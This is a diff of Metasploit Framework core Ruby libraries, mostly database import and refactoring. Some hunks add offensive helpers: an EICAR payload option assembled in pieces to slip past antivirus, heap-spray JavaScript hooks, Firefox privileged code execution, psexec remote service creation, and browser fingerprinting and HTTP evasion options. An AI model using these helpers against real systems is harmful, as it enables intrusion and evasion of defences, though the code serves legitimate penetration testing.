errors = report.errors.full_messages.join('; ')
raise RuntimeError "Report to be imported is not valid: #{errors}"
end
report.state = :complete # Presume complete since it was exported
report.save
ret[:task] = report
report.id
}
end
# Creates a ReportArtifact based on passed parameters.
# @param opts [Hash] of ReportArtifact attributes
def report_artifact(opts)
artifacts_dir = Report::ARTIFACT_DIR
tmp_path = opts[:file_path]
artifact_name = File.basename tmp_path
new_path = File.join(artifacts_dir, artifact_name)
unless File.exists? tmp_path
raise DBImportError 'Report artifact file to be imported does not exist.'
end
unless (File.directory?(artifacts_dir) && File.writable?(artifacts_dir))
raise DBImportError "Could not move report artifact file to #{artifacts_dir}."
end
if File.exists? new_path
unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}"
new_path = File.join(artifacts_dir, unique_basename)
end
FileUtils.copy(tmp_path, new_path)
opts[:file_path] = new_path
artifact = ReportArtifact.new(opts)
unless artifact.valid?
errors = artifact.errors.full_messages.join('; ')
raise RuntimeError "Artifact to be imported is not valid: #{errors}"
end
artifact.save
end
#
# This methods returns a list of all reports in the database
#
@ -2921,29 +2940,65 @@ class DBManager
self.send "import_#{ftype}".to_sym, args, &block
end
# Returns one of: :nexpose_simplexml :nexpose_rawxml :nmap_xml :openvas_xml
# :nessus_xml :nessus_xml_v2 :qualys_scan_xml, :qualys_asset_xml, :msf_xml :nessus_nbe :amap_mlog
# :amap_log :ip_list, :msf_zip, :libpcap, :foundstone_xml, :acunetix_xml, :appscan_xml
# :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml, :outpost24_xml
# Returns one of the following:
#
# :acunetix_xml
# :amap_log
# :amap_mlog
# :appscan_xml
# :burp_session_xml
# :ci_xml
# :foundstone_xml
# :fusionvm_xml
# :ip360_aspl_xml
# :ip360_xml_v3
# :ip_list
# :libpcap
# :mbsa_xml
# :msf_pwdump
# :msf_xml
# :msf_zip
# :nessus_nbe
# :nessus_xml
# :nessus_xml_v2
# :netsparker_xml
# :nexpose_rawxml
# :nexpose_simplexml
# :nikto_xml
# :nmap_xml
# :openvas_new_xml
# :openvas_xml
# :outpost24_xml
# :qualys_asset_xml
# :qualys_scan_xml
# :retina_xml
# :spiceworks_csv
# :wapiti_xml
#
# If there is no match, an error is raised instead.
def import_filetype_detect(data)
if data and data.kind_of? Zip::ZipFile
raise DBImportError.new("The zip file provided is empty.") if data.entries.empty?
if data.entries.empty?
raise DBImportError.new("The zip file provided is empty.")
end
@import_filedata ||= {}
@import_filedata[:zip_filename] = File.split(data.to_s).last
@import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"")
@import_filedata[:zip_entry_names] = data.entries.map {|x| x.name}
begin
@import_filedata[:zip_xml] = @import_filedata[:zip_entry_names].grep(/^(.*)_[0-9]+\.xml$/).first || raise
@import_filedata[:zip_wspace] = @import_filedata[:zip_xml].to_s.match(/^(.*)_[0-9]+\.xml$/)[1]
@import_filedata[:type] = "Metasploit ZIP Report"
return :msf_zip
rescue ::Interrupt
raise $!
rescue ::Exception
raise DBImportError.new("The zip file provided is not a Metasploit ZIP report")
xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/)
# TODO This check for our zip export should be more extensive
if xml_files.empty?
raise DBImportError.new("The zip file provided is not a Metasploit Zip Export")
end
@import_filedata[:zip_xml] = xml_files.first
@import_filedata[:type] = "Metasploit Zip Export"
return :msf_zip
end
if data and data.kind_of? PacketFu::PcapFile
@ -3087,7 +3142,7 @@ class DBManager
return :netsparker_xml
elsif (firstline.index("# Metasploit PWDump Export"))
# then it's a Metasploit PWDump export
@import_filedata[:type] = "msf_pwdump"
@import_filedata[:type] = "Metasploit PWDump Export"
return :msf_pwdump
end
@ -3632,16 +3687,13 @@ class DBManager
end
}
data.entries.each do |e|
target = ::File.join(@import_filedata[:zip_tmp],e.name)
::File.unlink target if ::File.exists?(target) # Yep. Deleted.
data.extract(e,target)
if target =~ /^.*.xml$/
target_data = ::File.open(target, "rb") {|f| f.read 1024}
if import_filetype_detect(target_data) == :msf_xml
@import_filedata[:zip_extracted_xml] = target
#break
end
end
end
@ -3808,43 +3860,55 @@ class DBManager
# Import Reports
doc.elements.each("/#{btag}/reports/report") do |report|
tmp = args[:ifd][:zip_tmp]
report_info = {}
report_info[:workspace] = args[:wspace]
# Should user be imported (original) or declared (the importing user)?
report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip)
report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip)
report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip)
report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip)
report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip)
report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip)
report_info[:task] = args[:task]
report_info[:orig_path].gsub!(/^\./, tmp) if report_info[:orig_path]
# Only report a report if we actually have it.
# TODO: Copypasta. Seperate this out.
if ::File.exists? report_info[:orig_path]
reports_dir = ::File.join(basedir,"reports")
report_file = ::File.split(report_info[:orig_path]).last
if ::File.exists? reports_dir
unless (::File.directory?(reports_dir) && ::File.writable?(reports_dir))
raise DBImportError.new("Could not move files to #{reports_dir}")
end
else
::FileUtils.mkdir_p(reports_dir)
end
new_report = ::File.join(reports_dir,report_file)
report_info[:path] = new_report
if ::File.exists?(new_report)
::File.unlink new_report
else
report_report(report_info)
end
::FileUtils.copy(report_info[:orig_path], new_report)
yield(:msf_report, new_report) if block
end
import_report(report, args, basedir)
end
end
# @param report [REXML::Element] to be imported
# @param args [Hash]
# @param base_dir [String]
def import_report(report, args, base_dir)
tmp = args[:ifd][:zip_tmp]
report_info = {}
report.elements.each do |e|
node_name = e.name
node_value = e.text
# These need to be converted back to arrays:
array_attrs = %w|addresses file-formats options sections|
if array_attrs.member? node_name
node_value = JSON.parse(node_value)
end
# Don't restore these values:
skip_nodes = %w|id workspace-id artifacts|
next if skip_nodes.member? node_name
report_info[node_name.parameterize.underscore.to_sym] = node_value
end
# Use current workspace
report_info[:workspace_id] = args[:wspace].id
# Create report, need new ID to record artifacts
report_id = report_report(report_info)
# Handle artifacts
report.elements['artifacts'].elements.each do |artifact|
artifact_opts = {}
artifact.elements.each do |attr|
skip_nodes = %w|id accessed-at|
next if skip_nodes.member? attr.name
symboled_attr = attr.name.parameterize.underscore.to_sym
artifact_opts[symboled_attr] = attr.text
end
# Use new Report as parent
artifact_opts[:report_id] = report_id
# Update to full path
artifact_opts[:file_path].gsub!(/^\./, tmp)
report_artifact(artifact_opts)
end
end
# Convert the string "NULL" to actual nil
@ -4237,7 +4301,10 @@ class DBManager
parser = Rex::Parser::RetinaXMLStreamParser.new
parser.on_found_host = Proc.new do |host|
hobj = nil
data = {:workspace => wspace}
data = {
:workspace => wspace,
:task => args[:task]
}
addr = host['address']
next if not addr

View File

@ -204,6 +204,7 @@ module Msf
doc.elements.each("/#{btag}/hosts/host") do |host|
host_data = {}
host_data[:task] = args[:task]
host_data[:workspace] = wspace
host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip)
if bl.include? host_data[:host]
@ -247,6 +248,7 @@ module Msf
host.elements.each('services/service') do |service|
service_data = {}
service_data[:task] = args[:task]
service_data[:workspace] = wspace
service_data[:host] = hobj
service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i
@ -364,7 +366,7 @@ module Msf
cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip)
end
}
if cred_data[:pass] == "<masked>"
if cred_data[:pass] == "*MASKED*"
cred_data[:pass] = ""
cred_data[:active] = false
elsif cred_data[:pass] == "*BLANK PASSWORD*"

View File

@ -16,12 +16,14 @@ module Exploit::EXE
# EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb
register_advanced_options(
[
OptBool.new( 'EXE::EICAR', [ false, 'Generate an EICAR file instead of regular payload exe']),
OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']),
OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]),
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]),
OptBool.new( 'MSI::EICAR', [ false, 'Generate an EICAR file instead of regular payload msi']),
OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']),
OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]),
OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]),
@ -29,6 +31,13 @@ module Exploit::EXE
], self.class)
end
# Avoid stating the string directly, don't want to get caught by local
# antivirus!
def get_eicar_exe
obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"]
obfus_eicar.join("-").upcase
end
def get_custom_exe(path=nil)
path ||= datastore['EXE::Custom']
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
@ -41,6 +50,7 @@ module Exploit::EXE
def generate_payload_exe(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -68,6 +78,7 @@ module Exploit::EXE
def generate_payload_exe_service(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -90,6 +101,7 @@ module Exploit::EXE
def generate_payload_dll(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -112,6 +124,7 @@ module Exploit::EXE
def generate_payload_msi(opts = {})
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
return get_eicar_exe if datastore['MSI::EICAR']
exe = generate_payload_exe(opts)

View File

@ -43,7 +43,7 @@ module Exploit::Remote::Ftp
#
# This method establishes an FTP connection to host and port specified by
# the RHOST and RPORT options, respectively. After connecting, the banner
# the 'rhost' and 'rport' methods. After connecting, the banner
# message is read in and stored in the 'banner' attribute.
#
def connect(global = true, verbose = nil)

View File

@ -58,7 +58,7 @@ module Exploit::Remote::HttpClient
register_evasion_options(
[
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-noslashes', 'hex-random', 'hex-all', 'u-normal', 'u-all', 'u-random']]),
OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),
@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient
# Configure the HTTP client with the supplied parameter
nclient.set_config(
'vhost' => opts['vhost'] || self.vhost(),
'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(),
'agent' => datastore['UserAgent'],
'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],
'uri_full_url' => datastore['HTTP::uri_full_url'],
@ -653,4 +653,4 @@ protected
end
end
end

View File

@ -839,6 +839,14 @@ protected
@cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
end
def js_explib2
@explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
end
def js_explib2_payload(payload="exec")
@explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
end
def js_os_detect
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
end

View File

@ -1,127 +0,0 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides methods for sending raw 802.11 frames using the ruby-lorcon extension.
# Please see the ruby-lorcon documentation for more information.
#
###
module Exploit::Lorcon
#
# Initializes an instance of an exploit module that accesses a 802.11 network
#
def initialize(info = {})
super
default_intf = 'ath0'
default_driver = 'madwifing'
if (Rex::Compat.is_windows())
# Default to the the first airpcap device on Windows
default_intf = "\\\\.\\airpcap00"
# Default to the airpcap driver on Windows
default_driver = 'airpcap'
end
register_options(
[
OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]),
OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]),
OptInt.new('CHANNEL', [true, 'The default channel number', 11]),
OptInt.new('TXRATE', [true, 'The injected transmit rate', 2]),
OptEnum.new('TXMOD', [true, 'The injected modulation type', 'DSSS', %w{DEFAULT FHSS DSSS OFDM TURBO MIMO MIMOGF}])
], Msf::Exploit::Lorcon
)
begin
if(Rex::Compat.is_windows())
airpcap = Rex::FileUtils.find_full_path("airpcap.dll")
if (not airpcap)
raise RuntimeError, "The airpcap.dll library must be installed"
end
end
require 'Lorcon'
@lorcon_loaded = true
rescue ::Exception => e
@lorcon_loaded = false
@lorcon_error = e
end
end
#
# Opens a handle to the specified wireless device
#
def open_wifi
if (not @lorcon_loaded)
print_status("The Lorcon module is not available: #{@lorcon_error}")
raise RuntimeError, "Lorcon not available"
end
# XXX: Force the interface to be up
system("ifconfig", datastore['INTERFACE'], "up")
self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER'])
if (not self.wifi)
raise RuntimeError, "Could not open the wireless device interface"
end
# Configure the card for reliable injection
self.wifi.fmode = "INJECT"
self.wifi.channel = (datastore['CHANNEL'] || 11).to_i
# Configure modulation
begin
self.wifi.modulation = datastore['TXMOD']
rescue ::ArgumentError => e
print_status("Warning: #{e}")
end
# Configure the transmission rate
begin
self.wifi.txrate = datastore['TXRATE'].to_i if datastore['TXRATE']
rescue ::ArgumentError => e
print_status("Warning: #{e}")
end
self.wifi
end
def close_wifi
self.wifi = nil
end
#
# Converts ethernet addresses to binary
#
def eton(addr)
addr.split(':').map { |c| c.hex.chr }.join
end
def channel
self.wifi.channel
end
def next_channel
cur = self.wifi.channel
nxt = (cur > 10) ? 1 : cur + 1
self.wifi.channel = nxt
end
attr_accessor :wifi
end
end

View File

@ -1,141 +0,0 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides methods for sending raw 802.11 frames using the
# ruby-lorco2n extension.
# Please see the ruby-lorcon documentation for more information.
#
###
module Exploit::Lorcon2
#
# Initializes an instance of an exploit module that accesses a 802.11 network
#
def initialize(info = {})
super
default_intf = 'wlan0'
default_driver = 'autodetect'
if (Rex::Compat.is_windows())
# Default to the the first airpcap device on Windows
default_intf = "\\\\.\\airpcap00"
# Default to the airpcap driver on Windows
default_driver = 'airpcap'
end
register_options(
[
OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]),
OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]),
OptInt.new('CHANNEL', [true, 'The initial channel', 11]),
], Msf::Exploit::Lorcon2
)
begin
if(Rex::Compat.is_windows())
airpcap = Rex::FileUtils.find_full_path("airpcap.dll")
if (not airpcap)
raise RuntimeError, "The airpcap.dll library must be installed"
end
end
require 'Lorcon2'
@lorcon_loaded = true
rescue ::Exception => e
@lorcon_loaded = false
@lorcon_error = e
end
end
#
# Opens a handle to the specified wireless device
#
def open_wifi
if (not @lorcon_loaded)
print_status("The Lorcon2 module is not available: #{@lorcon_error}")
raise RuntimeError, "Lorcon2 not available"
end
if (datastore['DRIVER'] == "autodetect")
self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'])
else
self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER'])
end
if (not self.wifi)
raise RuntimeError, "Could not initialize the wireless device interface"
end
# Configure for injmon
self.wifi.openinjmon() or raise RuntimeError, "Could not open device in inject/monitor combo mode: " + self.wifi.error
# Configure channel
self.wifi.channel = datastore['CHANNEL']
# TODO - add mod/rate once lorcon2 supports it
self.wifi
end
#
# This monstrosity works around a series of bugs in the interrupt
# signal handling of Ruby 1.9 and Lorcon2
#
def each_packet(count=-1)
return if not wifi
begin
@wifi_count = 0
reader = framework.threads.spawn("Lorcon2Receiver", false) do
wifi.each_packet(count.to_i) do |pkt|
yield(pkt)
@wifi_count += 1
end
end
reader.join
rescue ::Exception
raise $!
ensure
reader.kill if reader.alive?
end
@wifi_count
end
def close_wifi
self.wifi = nil
end
#
# Converts ethernet addresses to binary
#
def eton(addr)
addr.split(':').map { |c| c.hex.chr }.join
end
def channel
self.wifi.channel
end
def next_channel
cur = self.wifi.channel
nxt = (cur > 10) ? 1 : cur + 1
self.wifi.channel = nxt
end
attr_accessor :wifi
end
end

View File

@ -71,8 +71,6 @@ require 'msf/core/exploit/dialup'
require 'msf/core/exploit/dect_coa'
# Networks
require 'msf/core/exploit/lorcon'
require 'msf/core/exploit/lorcon2'
require 'msf/core/exploit/capture'
# FileFormat

View File

@ -58,6 +58,7 @@ module Msf
:java => 'java', # Example: 1.6, 1.6.0.0
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
:method => 'method' # ActiveX method. Also requires the :clsid key
:mshtml_build => 'mshtml_build', # mshtml build. Example: "65535"
}
def initialize(info={})
@ -224,9 +225,12 @@ module Msf
# For more info about what the actual value might be for each key, see HttpServer.
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'java' : The Java version
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'java' : The Java version
# 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version
# 'silverlight' : The Silverlight version
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
@ -379,11 +383,13 @@ module Msf
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(),
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight()
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(),
"<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion()
};
<% if os.match(/^Windows/) and client == HttpClients::IE %>
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
@ -491,7 +497,7 @@ module Msf
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, profile)
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
send_not_found(cli)
end
end

View File

@ -9,7 +9,17 @@
module Msf
module Exploit::Remote::FirefoxPrivilegeEscalation
# Sends the +js+ code to the remote session, which executes it in Firefox's
# privileged javascript context
# @return [String] the results that were sent back. This can be achieved through
# calling the "send" function, or by just returning the value in +js+
def js_exec(js)
print_status "Running the privileged javascript..."
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
end
# Puts the shellcode into memory, adds X flag, and calls it
# The js function throws on error
# @return [String] javascript code containing the execShellcode() javascript fn

View File

@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Psexec
# @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards
# @return [Boolean] Whether everything went well
def psexec(command, disconnect=true)
def psexec(command, disconnect=true, service_description=nil)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...")
@ -72,6 +72,7 @@ module Exploit::Remote::SMB::Psexec
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
svc_handle = nil
svc_status = nil
stubdata =
@ -100,6 +101,22 @@ module Exploit::Remote::SMB::Psexec
return false
end
if service_description
vprint_status("#{peer} - Changing service description...")
stubdata =
svc_handle +
NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
NDR.long(0x04000200) +
NDR.wstring(service_description)
begin
response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error changing service description : #{e}")
end
end
vprint_status("#{peer} - Starting the service...")
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
begin

View File

@ -18,7 +18,7 @@ class Framework
Major = 4
Minor = 9
Point = 0
Point = 2
Release = "-dev"
if(Point)

View File

@ -34,11 +34,11 @@ class Module
end
def fullname
return type + '/' + refname
type + '/' + refname
end
def shortname
return refname.split('/')[-1]
refname.split('/').last
end
#
@ -84,7 +84,7 @@ class Module
# Returns the class reference to the framework
#
def framework
return self.class.framework
self.class.framework
end
#
@ -178,6 +178,7 @@ class Module
#
def print_prefix
ret = ''
if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || (
framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i
)
@ -189,10 +190,9 @@ class Module
prefix << "[%04d] " % xn
end
return prefix
else
return ''
ret = prefix
end
ret
end
def print_status(msg='')
@ -257,7 +257,7 @@ class Module
# payloads/windows/shell/reverse_tcp
#
def fullname
return self.class.fullname
self.class.fullname
end
#
@ -267,28 +267,28 @@ class Module
# windows/shell/reverse_tcp
#
def refname
return self.class.refname
self.class.refname
end
#
# Returns the module's rank.
#
def rank
return self.class.rank
self.class.rank
end
#
# Returns the module's rank in string format.
#
def rank_to_s
return self.class.rank_to_s
self.class.rank_to_s
end
#
# Returns the module's rank in display format.
#
def rank_to_h
return self.class.rank_to_h
self.class.rank_to_h
end
#
@ -299,14 +299,14 @@ class Module
# reverse_tcp
#
def shortname
return self.class.shortname
self.class.shortname
end
#
# Returns the unduplicated class associated with this module.
#
def orig_cls
return self.class.orig_cls
self.class.orig_cls
end
#
@ -366,30 +366,14 @@ class Module
# Returns the address of the last target host (rough estimate)
#
def target_host
if(self.respond_to?('rhost'))
return rhost()
end
if(self.datastore['RHOST'])
return self.datastore['RHOST']
end
nil
self.respond_to?('rhost') ? rhost : self.datastore['RHOST']
end
#
# Returns the address of the last target port (rough estimate)
#
def target_port
if(self.respond_to?('rport'))
return rport()
end
if(self.datastore['RPORT'])
return self.datastore['RPORT']
end
nil
self.respond_to?('rport') ? rport : self.datastore['RPORT']
end
#
@ -516,7 +500,7 @@ class Module
# Return a comma separated list of author for this module.
#
def author_to_s
return author.collect { |author| author.to_s }.join(", ")
author.collect { |author| author.to_s }.join(", ")
end
#
@ -530,7 +514,7 @@ class Module
# Return a comma separated list of supported architectures, if any.
#
def arch_to_s
return arch.join(", ")
arch.join(", ")
end
#
@ -544,16 +528,18 @@ class Module
# Return whether or not the module supports the supplied architecture.
#
def arch?(what)
return true if (what == ARCH_ANY)
return arch.index(what) != nil
if (what == ARCH_ANY)
true
else
arch.index(what) != nil
end
end
#
# Return a comma separated list of supported platforms, if any.
#
def platform_to_s
return ((platform.all?) ? [ "All" ] : platform.names).join(", ")
platform.all? ? "All" : platform.names.join(", ")
end
#
@ -567,7 +553,7 @@ class Module
# Returns whether or not the module requires or grants high privileges.
#
def privileged?
return (privileged == true)
privileged == true
end
#
@ -575,7 +561,7 @@ class Module
# this somewhere else.
#
def comm
return Rex::Socket::Comm::Local
Rex::Socket::Comm::Local
end
#
@ -749,7 +735,7 @@ class Module
# Constants indicating the reason for an unsuccessful module attempt
#
module Failure
#
# No confidence in success or failure
#
@ -814,7 +800,7 @@ class Module
# The payload was delivered but no session was opened (AV, network, etc)
#
PayloadFailed = 'payload-failed'
end
end
##
@ -827,42 +813,42 @@ class Module
# Returns true if this module is an exploit module.
#
def exploit?
return (type == MODULE_EXPLOIT)
(type == MODULE_EXPLOIT)
end
#
# Returns true if this module is a payload module.
#
def payload?
return (type == MODULE_PAYLOAD)
(type == MODULE_PAYLOAD)
end
#
# Returns true if this module is an encoder module.
#
def encoder?
return (type == MODULE_ENCODER)
(type == MODULE_ENCODER)
end
#
# Returns true if this module is a nop module.
#
def nop?
return (type == MODULE_NOP)
(type == MODULE_NOP)
end
#
# Returns true if this module is an auxiliary module.
#
def auxiliary?
return (type == MODULE_AUX)
(type == MODULE_AUX)
end
#
# Returns true if this module is an post-exploitation module.
#
def post?
return (type == MODULE_POST)
(type == MODULE_POST)
end
#
@ -1073,7 +1059,7 @@ protected
merge_check_key(info, name, val)
}
return info
info
end
#

Some files were not shown because too many files have changed in this diff Show More